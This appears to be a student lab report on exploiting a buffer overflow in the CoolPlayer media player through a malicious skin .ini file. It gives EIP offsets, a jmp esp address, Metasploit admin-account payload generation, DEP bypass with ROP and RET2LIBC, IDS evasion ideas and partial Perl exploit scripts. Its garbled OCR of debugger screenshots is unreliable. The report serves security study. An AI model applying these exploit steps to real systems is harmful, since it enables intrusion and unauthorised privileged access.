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Abstract

This report aims to investigate a music player application in an attempt to find vulnerabilities and
evaluate the extent to which they can be exploited through buffer overflows. As well as a discussion on
Intrusion Detection Systems and how they can possibly be evaded.

The methodology was made up of identification of and proof of flaw. Following that a proof-of-concept
(calculator) and an advanced exploit (adding an admin account to the victim’s PC) were developed and
demonstrated. This was initially done with DEP disabled for the application and then with DEP enabled it
was attempted to be overcome using two techniques, ROP Chains and RET2LIBC.

In the application the skin functionality was investigated where an exploit was found. This exploit
allowed for malicious exploitation of a buffer overflow. This was able to be exploited with both DEP
disabled and enabled.
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1 INTRODUCTION

1.1 BACKGROUND

A buffer overflow is a common vulnerability which can allow attackers to perform malicious
actions such as code execution. To understand how a buffer overflow attack works an
understanding of how low-level Windows memory architecture works must first be covered.

When a program is run, the OS puts the program and its variables into memory. Using virtual
memory address translation, the physical addresses are mapped to virtual addresses. Certain
ranges of memory address are used for different things. As can be seen in Figure 1, these are
the kernel area, the stack, the heap and data and text (Coen Goedegebure, 2018).

@xFFFFFFFF

AxBaaspaaa

Figure 1. Diagram of Process Memory layout (Coen Goedegebure, 2018).

The top area, the kernel, contains the command line arguments and the environment variables for the
program.

The text area in memory also known as the code segment is the place in memory which contains the
code of the program. It is often read-only to prevent any modifications to the code, accidental or not.



Above the text section is the data which can be further split into the BSS and the data areas. The BSS
and the data segments are used for uninitialized and initialized variables, respectively.

The heap is made for dynamic memory allocation (variables whose size is known only during runtime).

The key area for buffer overflows is the stack. This holds the local variables used by the
functions of the program. When a function is called, a stack frame, which can be seen in
Figure 2, is pushed onto the top of the stack containing various values such as the return
address, the base pointer and a buffer. Stack frames are added to the stack using a last in, first
out order meaning the latest frames added are the first to be removed.

high memory address

name-parameter

return address

base pointer (ebp)

stack
|

buffer

Low memory address

Figure 2. Diagram of a Stack Frame (Coen Goedegebure, 2018).

Another key piece of required knowledge is registers. There are a number of registers that are
used to help. The EBP (Base Pointer) is used in the stack frame, it is set to the value of the ESP
(Stack Pointer) when the function is called. The stack pointer is simply a pointer to the top of



the stack as seen in Figure 3 below. The return address in the stack frame is another pointer
which is set to the next instruction to be executed after the function, this tells the EIP
(Instruction Pointer) what to run after the function has completed.

Register Name Purpose

EAX (Accumulator Used in arithmetic operations

Register)

EBX (Base register) Used as a pointer to data (located in segment register DS, when in

segmented mode).

ECX (Counter Register) | Used in shift/rotate instructions and loops

EDX (Data Register) Used in arithmetic operations and I/O operations.
ESP (Stack Pointer Pointer to the top of the stack.
register)

EBP (Stack Base Pointer | Used to point to the base of the stack.
register)

ESI (Source Index Used as a pointer to a source in stream operations.
register)

EDI (Destination Index Used as a pointer to a destination in stream operations.
register)

EIP (Instruction Pointer) | The EIP register contains the address of the next instruction to be
executed

Figure 3. Relevant Registers (wikibooks, 2020).

The vulnerability occurs when data pushed onto the stack is larger than the memory it was
allocated, allowing it to overwrite memory. The attacker can then craft the input to perform
malicious attacks. For example, if the program had allocated 50 bytes for user input but the
user instead input a 54 A’s (4 bytes to overwrite the base pointer) followed by an address
which would overwrite the return address, the attacker can gain control of the EIP. The
attacker could also shellcode after and overwrite the return address and point the EIP to the
shellcode once the function returns, it would return to the overwritten address which would
then execute the presumably malicious shellcode.

There are multiple techniques employed in an attempt to prevent code execution and the
exploitation of buffer overflows. One method, DEP (Data Execution Prevention) prevents the
execution on the stack. DEP, however, can be bypassed in a few ways. One way is through the
use of Return-Oriented Programming (ROP). This is where the attacker crafts code by chaining



various “ROP gadgets” (slices of code from various libraries which return) together. ROP
Chains can even be used to disable DEP entirely.

Another method to bypass DEP is RET2LIBC or Return to C Library. This works by creating code
that calls specific addresses, as the name suggests, in the C Library. One of the common
functions used is the WinExec. The C Library is executable and since it's not using shellcode,
DEP fails to prevent RET2LIBC attacks.



2 PROCEDURE

2.1 DEPON

2.1.1 IDENTIFICATION AND PROOF OF FLAW

A flaw was found in the skin functionality of the media player using ini files. Using Perl an ini file was
crafted, found under “crash1.pl” in Appendix A. Each .ini required the text "[CoolPlayer Skin]
PlaylistSkin=" to work with the media player. The Perl script made the ini file with the required text and
3000 A’s. The media player was then attached to OllyDBG and when the ini file was entered it caused an
access violation and, as be seen in Figure 4, overwrote the EIP with A’s. This revealed the vulnerability
that could possibly be exploited. If 3000 A’s failed to overwrite the EIP the number of A’s would’'ve been

increased.
OllyDbg - 1701198.exe - [CPU - main thread] NEIES|
[C] Fie View Debug Plugins Options Window Help == ]

Sledx| sju] v+ 3900 9 = Lle|mlriwinje|s|x])e-s| =)

» | Reaisrers (FPU < ¢ < <

EIF 41414141
C @ ES 8023 32bir BiFFFFFFFF)

F 1 CS @E1B 32bit GIFFFFFFFF)

B8 §5 6023 33bir GiFFFFFFFF)

£ 1 DS @823 32bit GLFFFFFFFE)

5@ FS 6038 32blr 7FFOFEOEIFFF)

E g GBS BEE6 NULL

0 @ LastErr ERROR_SUCCESS [0000@@EE)
EFL BBO16246 (MNO,NE,E,BE,NS,FE, GE,LE)
STA empty -??? FFFF BOFFFFFF DOFFFFFF
ST1 empry —?77 FFFF QB00000 0ODAGGAG
ST2 empty =777 FFFF OOBEECEE QOEEGEEE
£T3 empru —?77 FFFF QBOO0OFD DOFBOOFD
Ti conil -oup Feec GRECEEce tQEiETE:

1701198, (Modu LsEntryPoint

Address | Hew dump ASCIT -

Acoess violation when erecuting [41414141] - uss Shift+F7/F&/F9 to pass exception to progiam [ [Paused

Wistart] (2 B @ w () @ @ & » L co\Pocuments and settin...| () C:\Documents and setin... | [ 3 ollyDbg - 1701198.ex... EEEEEEEEEEL Y

Figure 4. Overwritten EIP.

The next step was to find the distance to the EIP/size of the buffer so the EIP could be controlled. This
was done using the program pattern_create and pattern_offset. Pattern_create allows for a pattern to
be created for a specified character length to help identify the distance. This was done using the
command “pattern_create.exe 3000 > pattern.txt” which would output the pattern into pattern.txt.




This pattern was used instead of the 3000 A’s, the Perl file “crash2.pl” can be found in Appendix A.
When this ini file was entered the EIP had a value of 69423869 as can be seen in Figure 5.

Registers (FPU] 4 4 4 4
ERX 4137F&vdz

ECK Baaanels

EDX BE1SHEES

EBX BHEEREER

ESP BE11FZAC ASCII "™S9BjBBjl1EiZ2BiZBj4B 5B J6BIFEISEi9BKEEK 1Bk
EEP 42376942

ESI BEliFz214 ASCII "™i2BiZBj4BiSBIcBIVEIEEI9BKLBEK 1BL 2EK3EK4E
EDI B812ESRR

EIP 69423855

C A ES BB22 32bit BIFFFFFFFF)

P 1 C5 881E 22bit BIFFFFFFFF]

A & S5 BBz23 232bit BIFFFFFFFF)

2 1 D5 BBz23 232bit BIFFFFFFFF)

S B FS BE2E 22bit FFFODD@EEL[FFF)

E g G5 EEEE HULL

0 A LastErr ERROFR_SUCCESS (G8AREAHEE)

EFL @@alez4e (MO,ME,E.EE,HS,FE,.GE.LE]

STA empty -777 FFFF B@FFFFFF EEFFFFFF

ST1 empty -777 FFFF BEEEEEEE BEEEREEE

ST2 empty -777 FFFF BEEEEHEE BHEEREEE

ST2 empty —77? FFFF OBGEERGEFE BOFEQBFE

STd ety —232 EEEFE GSFEEEEE 1GEAFCEE

Figure 5. EIP Value from pattern_create’s pattern.

The distance to the EIP was then found to be 1045 using the program pattern_offset with the command
“pattern_offset.exe 69423869 3000” that can be seen below in Figure 6.

C:\Documents and Settings\Administrator\Desktop\Courseworkspattern_offs 6
423869 3000
C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/ocrF.tmp/1ib/ruby/1.9.1/rubygems/custom_requi

re.rb:36:1n “require':

instead.
1045

iconv will be deprecated in the future, use String#encod

Figure 6. pattern_offset result.

The tools, pattern_create and pattern_offset, were used again to find how much room there was for
shellcode. Using the tools, a pattern of 10000 was created and entered into a variation on crash2.pl,
which can be found under crash3.pl. Using the OllyDBG the last pattern on the stack was used, “Mv2M”
as can be seen in Figure 7. This was then used with pattern_offset and was found to be the last pattern
in the 10000-character pattern. The space for shellcode was not tested further as 10000 was more than
enough to create a proof-of-concept and an advanced exploit.



AEl=15ES| V4403774 £ 7ME
AEl=15EC| 29744028 8MeD
AEl215FA 40387540 Mu@l
AE1=215F4| P54D03175  ulMy
AEl215FS| 33754032 2Mus
AEl=15FC 40347540 Mudhi
aal=19860) PE403575 | uEHMy
Aal=1984 | 37754036 aMu @
aal=198s) 402387540 MusH
Aal=2198C PedDIVE | uak
AEl=1916) 317e4030] Al
BE121914| 4D0327e4D0) Muwzb
FET21918 BEaEEEEA| .. ..
AET2191C) BEaEE0Ea ... .
FAT2122A1 ARRAAAAAT - . . .

Figure 7. 10000-character pattern result

2.1.2 PROOF OF CONCEPT

With this information a proof of concept exploit can be developed. For this example, when the ini file
would be opened, a calculator would be run.

A test with 1045 A’s was run, crash4.pl in Appendix A. The result of this can be found in Figure 8.
42424242 (BBBB) is where our pointer to our shellcode would go and 43434343 (CCCC) onwards would
be our shellcode. As the memory address of the start of our shellcode contained a null byte, it can’t just
be jump to. Instead a “jmp esp” has to be found and used from a dll that the program is using.

a JRegisters [FPUI £ £ £ £
T ERH 41414142

2]
ESF BE11F28C ASCII "CCocopooe™
EEBF 41414141
ESI BE1iF214
EDT G@1Z2EBRE

EIF 42424242

C B ES @022 22bit B(FFFFFFFF)
P 1 C5 @@lE 22bit A(FFFFFFFF]

i DS @ FFFFFE}

§ @ FS GBSE 3Zbit TFFOF@EECFFF)

T &5 6aga FULL

08 LastErr ERROR_SUCCESS (BBABHESE)
EFL @BR1B246 (MO,MNE,E,BE, M5, PE, 5E, LE)
ST6 empty —777 FFFF BEFFFFFF BEFFFEEE
ST1 enpty —777 FFFF BRAOOODOD BEBBAGO0
STZ empty —777 FFFF GEGOOCEE BEEEBGEE

ST3 empty —?7? FFFF BO8EG0EFE G6FESGFE
Tad swnti o EEEE _GSFEEFEE 1GEAFCEE

N EEPEEEE
GE11F 2E8

EEliF21e

1414141
45474542
43434343
44444444
ol P )
BR13E1CA
BEOEEEEE
CCCOCOEE
CLCCOCOC
CCLCLCEE
CLCCOCOC
CCLCLCEE
CLCCOCOC
CCLCLCEE
CLCCOCOC
COCCECEE

v

EE11F248

Figure 8. Result of crash4.pl



For this, kernel32.dIl and the tool findjmp were used. In Figure 9, kernel32.dIl was searched for a jump
to ESP using the command “findjmp.exe kernel32.dll esp” which found 3 usable addresses, 0x7C86467B
was chosen.

]m[|: esp
1 es
anning ker‘rm[l]}}_'.d'l'l for code useable with the esp register
3 usable addresses

Figure 9. findjmp result.

This address would then replace the BBBB’s in crash4.pl which would overwrite the EIP so that when it is
popped it returns to the shellcode which would be placed after the address. 16 NOP’s were also added
before the shellcode as padding. No character-filtering had to be avoided. The complete Perl code for
this can be found in Appendix A under “crashcalc.pl” and the result can be seen in Figure 10.

OllyDbg - 1701198.exe - [CPU - H _ @ x
[El File view Debug Plugins Options Mindow Help |8 x
B{4dx| wn| wi+y ¥4 4 +ff njE[m/T|winjc|s|k|B[R[.|s] ==

B30T B4 AOOESF, 4 ‘ « | Registers (FPUI < < < <
&2 01_1o000000 | HoU ER, DUORD PTR Fo: 1 ey
T8 ERBUBRD PTR FRifiRhag E calculator oy ] ] ECX EES75R8
GE40 50 10U ER)X.DUORD PTR DS: [ERY+2C | e
FFidof L DNURD FTR DS: (EAX-EDX®4 Edit View Help o T eRer
352 R EGH ol o 20 eHiEre®
T T 2B I e EDI BL11FFi4
EEFF U ED EIF 7C30E448 ntdll.KiUserCsllbackDisparcher
| BE4CE4 B4 i) EB%:Blibeo PTR 9g: cEpea)
GE1C24 U B, DUORD FTR 351 [ESF] Ba CE C B8 B R JEEEEs
i R i
i
i E:’LEL"Ef“ -7EozAssa - - B - Bo kemim b SLEbbGan: FFF)
NG 7 8 s sat T o 65 aooa HULL
ac JE SHDRT ntdll.7LIBELTA 5 e
[EEE 0 8 LastErr ERROR_SUCCESS (BAGBAROE)
A o8 FoeHs" MR 4 5 ° | EFL 80088246 (HO, NE, E, BE, N3, FE, GE,LE)
1 Pl LG 5T8 erpty B, 00OROERRO2474E7SE20-4933
ST1 enpty -4, 6142712242182156670e—3377
S 1 2 3 1% ST2 enpty 5.0312345¢6281r17]260e-4532
515 =noty HNORIT 5705 OdooREan Ceeabesn
Address [Hew duwp I o | -~ N . ]

ADERER - . =

4DEGES,

= RETURN to USERZE.7E4191BE

oig RETURN to USERZE. FEAZ77EE Fron USERSZ, PE419182

4DERZE,

40EBT0)

4DEDSE,

40ER48)

4DEB4E,

40EBSE)

4DERSE, g

e RETURN to 1781156, 60426A0E fran USERIZ. GevHessasel

4DEG7A)

4DEGTS]

40ERDH)

4DEBET o=

4DEBSH) s

4DEBSH, E==

40EDAY) =

4DEDAZ, EE

4DEDED, e

4DEREE| e

4DERCH) e

i =

e

e CECCCEL

4DEGES|

40EGFE o

4DERF s

4DE1 B s

4DE1 03, s

40E1 101 Es

40E1 12 e

40E1 201 e

40E1 25 e

40E1 S8 e =

40E1 S5 e

e oo ceeeees

40ELSA d FE78|] CLECECCE| id
Frocess terminated, exit code 0 [ [Teminated

Figure 10. crashcalc.pl result.

2.1.3 ADVANCED EXPLOIT

MSFGUI (Metasploit Framework Graphical User Interface) was used to generate an advanced exploit
payload. This was done by navigating to payloads, then under Windows the relevant payloads can be
found. For this example, adduser was selected, this by default creates a user account named Metasploit



with the password Metasploit and adds the account to the administrator group on the victim’s PC. As
can be seen in Figure 11, the payload was encoded in x86/alpha_upper and outputted in Perl format.
This then simply replaces the calculator shellcode in crashcalc.pl and can be found under
crashadvanced.pl in Appendix A.

M Windows Execute net user /ADD windows/adduser =1of x|

Windows Execute net user JADD

Rank: Normal

Description Create a new user and add them to local administration group
Authors: hdm , vlad902 | sf

License: Metasploit Framework License (BSD)

Version: 13053, 9179
VERBOSE Enable detailed status messages [:|

WORKSPACE Specify the workspace for this module  default

EXITFUNC Exit technique: seh, thread, process, none  process

PASS The password for this user metasploit

USER The username to create metasploit

Generate LJ display @ encodelsave l Start handler J { Start handler in console J

Qutput Path 1ents and Settings\AdministratoriDesktop\Courseworkiadduser.tt Choose...
Encoder [x&ﬁlalphaﬁupper “'J
Output Format [pen v

Mumber of imes to encode

Architecture

(win32 only) exe template Choose... l:l Keep template working?

(win32 only) add shellcode Choose...

Figure 11. adduser screen on MSFGUI.

The result of this exploit can be found below in Figure 12. Under the accounts on the PCis an admin
account named “metasploit” which can be logged in with the password “metasploit”.



o]
'\sD Back 'J Sg Herme

Learn About -"‘g User Accounts

|'_-’] User accounts
|'_-’] User account types

l'__)] Switching users P i Ck a taS k. an

* (Change an account
*  Create anew account

* Change the way users log on or off

or pick an account to change

Administrator metasploit
Computer administrator Computer administrator
Paszsword protected Paszsword protected
-4 user = Guest
- Computer administrator @ Guest account is off
Password protected
— "

Figure 12. User Accounts on Victim’s PC.

2.1.4 EGGHUNTING

When exploiting buffer overflows, there is sometimes a lack of space for shellcode. One way to
circumvent this issue is through the use of a technique called egg hunting. This consists of a piece of
shellcode, the egg hunter, which searches through memory to find a tag that indicates the start of the
malicious shellcode and then executes it.

Whilst this was not required for this application, the concept can still be proven. For this another proof-
of-concept was developed. Using a 32byte egg hunter developed by the Corelan Team (Corelan Team,
2010). A 200 NOP buffer was used to split the egg hunter and egg to show how it would work. This egg
hunter uses the tag “w00t” which was placed before the previous used calculator shellcode in the ini
file, this can be seen under egghunter.pl in Appendix A. For this proof-of-concept the amount of A’s had
to be lowered by 10 to 1035 as the previous distance to EIP was causing errors.



2.2 DEPON

For the following sections, DEP was enabled, which is done by going to System Properties, navigating to
Advanced and then Performance Settings and on the DEP tab, selecting “Turn on DEP for all programs
and services...” like in Figure 13.

) E—
System Properties 2| X | P e—————" 2=
System Restore I Automatic Updates | Remote | Visual Effects I Advanced Data Execution Prevention |
General I Computer Name I Hardware Advanced
You must be logged on as an Administrator to make most of these changes ~ Data Execution Prevention (DEF) helps protect
3, d against d, s and other security
r~ Peformance threats. i

" Turn on DEP for essential Windows programs and services
only

Settings ¥ Turn on DEP for all programs and services except those [

select:

Visual effects, processor scheduling, memory usage, and virtual memony

r~ User Profiles O 1701128
Desktop settings related to your logon [ adobe Reader 3.1

Settings

 Startup and Recovery
System startup, system failure, and debugging information

Settings
Environment Variables | Emor Reporting | Add... Remove.

0K | Cancel | Apply |

Iplayer.ini  Shortcut to
OLLYDBG.EXE OK I Cancel Apply

Figure 13. DEP enabled.

Now whenever any of the previous exploits, the error in Figure 14 is shown.

Data Execution Prevention - Microsoft Windows x|

To help protect your computer, Windows has closed this program.

Mame: 1701198

Change Settings || Close Message I

Data Execution Prevention helps protect against damage from viruses or other
threats. Some programs might not run correctly when it is turned an. Far
an updated version of this program, contact the publisher, What else should T do?

Figure 14. DEP Error Message.

Whilst DEP makes the stack non-executable, there are multiple ways to circumvent/disable this.



2.2.1 ROP CHAINS

A common way to bypass/disable DEP is through the use of ROP Chains. This was done with the python
file mona.py, developed by the CoreLan team. This a python script that runs with Immunity Debugger
and WinDBG and is used to help automate and speed up searches whilst developing exploits. To install
Mona, Mona.py is simply copied/moved to the Immunity Debugger installation.

One of the pieces of information that is needed is an address of a RETN instruction which will be used to
start the ROP Chain. To get this the command “!mona find -type instr -s ‘retn’ -m msvcrt.dll -cpb
“\x00\x0a\x0d"” was used as seen in Figure 15. This command searches for a RETN instruction in the
msvcrt module and skips any that include NULL, Line Feed and Carriage Returns. The results of this
command can be found under find.txt in the Immunity Debugger installation folder. The only usable
addresses are the ones marked “PAGE_EXECUTE_READ”. For this the address “Ox77c1258a” was chosen.

L1 (8 CPU - main thread, module 1701198

SE handler installation

D._adiust,

p m msvert.dil -cpb "px00ix0a<0d"

Figure 15. Mona finding RETN instructions.

The next step is to create a ROP Chain. Mona.py can also be used to generate ROP chains. The command
to do this “Imona rop -n -m msvcert.dll -cpb \x00\x0a\x0d’” can be seen below. This command places
the results in rop.txt and rop_chains.txt in the same place as find.txt. rop.txt contains useful ROP
gadgets if the ROP Chain is to be built manually. Instead, rop_chains.txt was used which provides ROP
chains that mona.py attempted to build. Many are not completed but VirtualAlloc() is, the pre-built
chain in Python was then translated to Perl and used in a script with the RETN address, this can be found
under ropchain.pl.



. Immunity Debugger - 1701198.exe - [CPU - main thread, module 1701198]
[€] Fie view Debug Plugins Immib Options Help Jobs
OB EE WXl li4d+f 1l emtwhcPkbzr.

{FFEFFFFE]
FROF dadi FFF)

!mona rop -n -m msvert.dll -cpb "x004x0at<0d"
Figure 16. Mona used to find ROP Chains.

This surprisingly failed to bypass DEP. However, when ran through OllyDBG the cause was found. By
putting a breakpoint at the RETN instruction and analysing the ROP Chain it appeared that the program
was filtering the input. Two address, “2CFE1467” and “2CFE04A7” were being changed to start with ‘20’
instead of ‘2C’. This was proven to be the issue by modifying the addresses back to the original after the
breakpoint was reached in OllyDBG which allowed for a calculator to be started despite DEP being
enabled. This can be seen in Figure 17 and 18.

EEREEES rrioensh | mewort . rrLoeHok
TTCEEASE | msuort . TPCSEASE
TTCATESS | mevort . TrCATEES
FFFFFFFF
7PC127ES | msvert . TPC1ETES
7PC1Z7ES | meuwort . 7PC1E7ES
7PCE4FCD| mevert . 7PCE4FCD

BE11F228, ZBFE1467
7TC4EBSE | meuort . 7PCAEBDE
7FCEEFBC | mevort . 7PCEEFEC
TPCE40EL | msvert. 7rCE40E]
ZBFERIAT
TTCAEESE | mevort . TTCIEBDE
TrC14881 | mevert. 77014801
TTCATAZE | mevort . TrCATAZE
TrC4TAE | msvort . TPCATAE
7rC4EEFE| RETURN to msucrt.7PC4EEFE from DPATESFD
PTCEAACE | msvert . FPCEAACT
PrCE1016| mevort . FPCE1D1E
7rC1118C| <&KERMEL3Z. UirtualAllocs
PTC1Z0FS | meuert . 7rC1ZDFS
7rCE5459 | muort . 7rL35453
SBIGIGIE

Figure 17. Input being filtered.



JRETES]

OllyDbg - 1701198.exe -

[C] s ? ] =& x|
EE: 2| ]
= Svstem Restors | Automatic Uodates | Remote | f Edt View Help N EE e —
£t e Performance Options 21x I 0 _E_EEQ )
= EDH EEEERSA
[y Visusl Effects | Advanced Data Bxecution Prevention | = el Becsents
g3 EEP B18CFFE0
vca || [pPer S1 B10CFFod
e N N EDI B1GCFFid
7 i Data Execution Prevention (DEP) helps protect EIF 7CI0E448 ntdl L. KilserCal lbackispatcher
i 3 against damage from viruses and other security C B ES G623 32hit AIFFFFFEFFF)
B threats. How d P 1 €S @81B 32bit BCFFFFFFFF)
g 0o 55 paz3 3Zbit BCFFFFFEFF
7 ™ Turn on DEP for essential Windows programs and services B8 B GeEs S tiddiaama
g — only g 68 wodw RULL
; Use ¥ Turn on DEP for all programs and services except those T 0 8 LastErr ERROR_SUCCESS (BOGRAAGEA!
7 De: select: - EFL m@EBER4s (MO, NE,E, BE, NS, PE, BE, LE)
Jris: ST0 supry 0. BOROAGERG24SERA0E20E 4523
2 Oimiies ST1 enpry -4, 6122451 95000G 3028 00 - 3977

701158 £12 swpry S.B31S45PER00ECE0E 0 — 455

D Adobe Reader 9.1 515 =noty PRI 9005 G0GGGAG0 Eachiara
B =
q rSta
]
Sys RETURN to USERSZ. 7E4191BE
RETURN to USERSZ. 7E427768 fron USER3Z.TE4191B2

B4
RETURN to 1701198, BBM26ADE from USER3Z.BetMessagen

Cancel Al

o

Process terminated, exit code 0 [ [Teminated

Figure 18. Calculator being run with DEP enabled.

2.2.2 RET2LIBC

One-way buffer overflows can be exploited to execute code even with DEP enabled is a method called
RET2LIBC, previously discussed.

Another calculator proof-of-concept was developed with this exploit. This exploit requires crafting the
stack with various variables address of WinExec, address of ExitProcess and pointer to command line
values. The tool arwin was used to find the address of WinExec and ExitProcess in kernel32.dll as can be

seen in Figure 19.
ministrator\Desktop\Coursework\DEP>arwin.exe kernel3

ion program - by steve hanna - v.01
3ad in kernel32.d11

:\Documents and Settings\Administrator\Desktop\Coursework\DEP>arwin.exe kernel3
2.d1T ExitProcess
arwin - 2 address resolution program - by steve hanna - v.01
ExitProcess is located at Ox cafa in kernel32.d11

:\Documents and Settings‘\Administrator\Desktop\Coursework\DEP>_

Figure 19. Arwin finding WinExec and ExitProcess addresses.

The next step was to craft an ini file containing our DOS command “cmd \c calc&” that WinExec will run
so that the address of it could be found in the buffer. This was done using ret2libcl.pl that can be found
in Appendix B. Using OllyDBG to put a breakpoint at the address of WinExec and doing a binary string



search for “cmd \c” the address was found to be “0011EDF7”. Note, that in the development of this the
distance to EIP of 1045 previously discovered caused some errors and was reduced to 1041 which solved

any issues.

From here the proof-of-concept could be made by simply adding the discovered address. The Perl file to
create the ini file can be found under ret2libc2.pl in Appendix B. Similarly, to the other proof-of-concept,
this exploit can be developed further to cause more serious damage such as adding admin accounts.



3 DISCUSSION

3.1 EVADING INTRUSION DETECTION SYSTEMS

An intrusion detection system (IDS) is a device or software that is used to monitor a network for
malicious activity. The two main detection methods are signature-based and anomaly-based. Signature-
based works by looking for specific patterns of bytes that are known to be malicious. Anomaly-based
works by building a baseline of normal activity on the device and any out of the ordinary activity is
marked as anomalous and blocked. (Mujumdar, Masiwal and Dr Meshram, 2013). Both types have their
pros and cons. Signature-based rely on previous known patterns and so are often susceptible to zero-
days or obfuscation. Whilst anomaly-based systems can prevent attacks from previously unknown
malware it can also run into false positives.

One way a signature detection system could be avoided is through the use of encoding and encryption.
Whilst some IDS will match signatures that have been encoded, the Metasploit framework encoder,
“Shikata Ga Nai” which is a polymorphic XOR encoder meaning it would encode the same shellcode
differently each time makes it a lot harder for patterns to be matched (spoonm, 2018).

A useful technique which can help bypass anomaly-based is fragmentation. This is simply breaking an
attack into multiple parts. This could be easily implemented by simply expanding on the egg hunter
attack to create an omelette egg hunter (i.e. an egg hunter attack with multiple ‘eggs’). Fragmentation
would make it hard for the IDS to piece together what the attack is doing, the attack could also create
junk shellcode that does nothing slowing down the IDS to the point that the attack may be executed
(Carlo, 2003).

3.2 CONCLUSIONS

In conclusion, the music player was found to be exploitable by buffer overflow attacks through the skin
functionality. Allowing an attack ranging from simply opening a calculator to malicious attacks such as
adding admin accounts or even creating a reverse shell.

Whilst ROP Chains failed to be leveraged to avoid DEP mitigation without being run in a debugger, DEP
was still proven to be possible to evade with techniques such as RET2LIBC. It is also possible with more
investigation and research ROP chains could work to disable DEP.

Overall, the application was proven vulnerable even with protections such as DEP in place. As well as
this other mitigation evasions were investigated and discussed.



3.3 FUTURE WORK

If given more time, one of the areas that would be further researched would be the other inputs
available in the program such as the playlist functionality. Whilst it was looked at and failed to show any
vulnerability, it is still likely that it can be exploited with more investigation.

One of the issues that was encountered was that the distance to EIP would change throughout
development. Through trial and error this was solved and did not become a large issue, but it would be
valuable to investigate and know why this was the case and what was causing it.

Another area would be ROP Chains, given more time, more research would have been done into the
apparent filtering done. This would hopefully have resulted in ROP Chains being able to disable DEP and
allow for malicious attacks to be performed on the application even with mitigations in place.
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APPENDICES

APPENDIX A — PERL SCRIPTS (DEP OFF)

crashl.pl

$file= "crash.ini'

Sbuffer "[CoolPlayer Skin]\nPlaylistSkin=";

Sbuffer .= "A" x o

open (SFILE, ">Sfile") ;
print SFILE Sbuffer;

crash2.pl

$file= "crash.ini";

Sbuffer = "[CoolPlayer Skin]\nPlaylistSkin=";

Sbuffer .=
"AaOAalRAa?2Rha3Rad”habRha6Rha’Ra8Rha92b0AblAL2Ab3AL4AADL5SAL6AD7TADBADLIACOACIAC2AC3AC4A
cHbAc6ACcTAC8ACI9AdOAdIAd2Ad3Ad4AdS5Ad6AdTAd8Ad9Ac0AelAe2Ae3Aed4PAebAebAe7/Ae8Ae9AT0
Af1Af2Af3Af4Af5Af6ALfTALf8AfI9Ag0AglAg 3Ag4 g6Ag7Ag8Ag9Ah0Ah1AhR2Ah3Ah4Ah5AN
6Ah7Ah8Ah9AiOAilAi”Ai3Ai4AiRAi6A17AldA19AjOAlejZAj3Aj Aj5AjJ6A77A]J8A79AkK0AKIA
k2Ak3Ak4AkKk5Ak6AK7AK8AKOA10AL11A12A13A14A15A16A17A18A19AMOAM]I AM2AM3AM4AAMSAM6AM 7
AmS8AM9ANOAN1AN2AN3AN4ANSAN6ANTAN8AN9A0C0A01A0C2A03A04A05A06A07A08A09AP0AP1AP2AD
3ApP4APSAP6AP7AP8API9AgOAglAg2Ag3Ag4AgSAgAqTAq8AqIATOATY1AY2AYr3AT4Ar5AT6Ar 7Ar8A
r9As0As1As2As3As4As5As6As7/As8As9ALt0ALIAL2AL3ALtAAL5ALt6AL7TALt8ATL9AUOAUlAUZ2AU3AUS
AuS5AU6AUT7AUBAU9AVOAVIAV2AVIAVAAVSAVOAVTAVEAVIAWOAWIAW2AWIAWAAWSAWOAW 7TAWSAWIAX
0AX1AxX2Ax3AX4AX5AX6AXTAX8Ax9AYOAYIAY2AY3AYy4AYS5AYy6AYyTAY8AYIAZ0AZz1AZ2AZz3AZz4AZ5A
z6Az7Az8Az9BalBalBa2Ba3Ba4Ba5BatBa7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bcl
Bc2Bc3Bc4Bc5Bc6Bc7Bc8BcIBAOBA1IBA2BA3BA4BA5BAd6BA7BA8BA9Be0BelBe2Be3Be4Be5Be6Be
7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7BEf8BfIBg0Bgl1Bg2Bg3Bg4Bg5Bg6Bg7Bg8BgOBh0Bh1Bh2B
h3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B1i1Bi2Bi3Bi4Bi5Bi6Bi7Bi8B1i9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8
Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8BkOB10B11B12B13B14B15B16B17B18B19BmOBm1Bm2Bm3Bm
4Bm5Bm6Bm7Bm8BmMI9BN0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B00Bol1Bo2Bo3Bo4Bo5Bo6Bo7Bo8B0 9B
POBplBp2Bp3Bpr4Bp5Bp6Bp 7Bp8Bp9Bq0BglBg2Bg3Bg4Bg5Bg6Bq7Bg8BqI9Br0Br1Br2Br3Br4Br5
BroBr7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9BtO0Bt1Bt2Bt3Bt4Bt 5Bt 6Bt 7Bt 8Bt 9BuOBu
lBuZBu3Bu4Bu5Bu6Bu7Bu8Bu9BVOBVIBVZBV3BV4Bv5Bv6Bv7Bv8Bv9BwOBwle2deBw4BwJBbi
w7Bw8BwIBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2
Bz3Bz4Bz5Bz6Bz7Bz8Bz9CalCalCa2Ca3Cad4dCabCabCa’/Ca8Ca9Cb0CblCb2Cb3Chb4Chb5Ch6Ch7Ch
8Cb9Cc0Cc1lCc2Cc3Cc4d4Cc5hCc6Cc7CcB8Cc9CANCAICd2Cd3Cd4ACd5Cd6CdA7Cd8Cd9CelCelCe2Cel3C
e4CeSFeGFe/Fe?ﬁe9FfOFlef7Ctth4Ct5Ct6Ct7Ct?Ct9Cq0quCqZquCq4Cq5Cg6Cg7CgPCgQ
Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0C 2C1i3Ci1 i 8Ci9Cj0Cj1C
5CJ6Cj)7C38CJ9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9 ClOCllCl>ClJCl4Cl5Cl6Cl7C18Cl CmOC
ml1Cm2Cm3Cm4Cm5Cm6CmM7Cm8CmMI9CN0CN1Cn2Cn3Cn4Cn5Cn6CNn7Cn8CNn9Co00C01Co2C0o3Co04Co5C06
